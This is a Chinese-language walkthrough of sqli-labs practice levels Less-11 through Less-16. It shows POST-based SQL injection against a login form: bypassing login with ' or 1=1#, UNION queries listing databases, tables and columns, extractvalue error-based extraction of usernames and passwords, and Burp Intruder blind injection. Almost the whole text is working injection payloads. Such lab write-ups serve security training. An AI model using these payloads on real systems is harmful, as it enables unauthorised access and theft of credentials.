说明查询语句有username='$_POST[username]' and password='$_POST[password]'
,查询有两个字段
username栏输入
' or 1=1#
提交,绕过登陆验证,并且知道两处可以回显。
构造查询数据库名:
' union select database(),@@version#
查数据表,username栏输入:
' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
查users表的列名,输入:
' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
查询语句里是用括号和双引号包裹$_POST参数的。
输入:") or 1=1#
绕过
查数据库名:") union select database(),@@version#
查数据表名:
") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
方法同Less-11类似,只是将单引号换成双引号外加括号。
省略下面的步骤……
输入单引号报错,从报错里看到参数是用单引号和括号包裹的。
输入:') or 1=1#
万能密码绕过。
输入') union select database(),2#
能绕过,但不回显。
尝试报错注入语句,输入:
') union select count(*),concat('~',(select database()),'~',floor(rand(0)*2)) a from information_schema.tables group by a#
得到数据库名。
查数据表数量,这里用extractvalue函数报错:
') and extractvalue(1,concat(0x5c,(select count(table_name) from information_schema.tables where table_schema='security'),0x5c))#
查数据表名:
') and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x5c))#
更改limit子句查出所有表名。
查users表的列数量:
') and extractvalue(1,concat(0x5c,(select count(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c))#
查users表的列名:
') and extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x5c))#
查数据:
') and extractvalue(1,concat(0x5c,(select concat(username,'~',password) from security.users limit 1,1),0x5c))#
具体方法可参考Less-5和Less-6
Less-14同Less-13只有双引号的差别。
POST的基于布尔/时间盲注,这里可以使用burp的intruder模块进行盲注。
在页面上测试输入:' or 1=1#
可以绕过,
用burp抓包,右键send to intruder。
查数据库名:
positions栏里的Attack type设置为Cluster bomb,
uname参数输入:' or ascii(substr(database(),1,1))=97#
设置payload位置:
payloads栏里payloads set1和2的payload type都设置为Numbers,
payload Options设置payload1 from 1 to 10 step 1
payload2 from 97 to 130 step 1
点击start attack,最后在结果里查找length不同的即为正确的payload
同理可以暴破字段名,数据等。
具体盲注技巧可以参考Less7-10
Less-16方法同Less-15类似,采用布尔盲注或时间盲注,并换成双引号。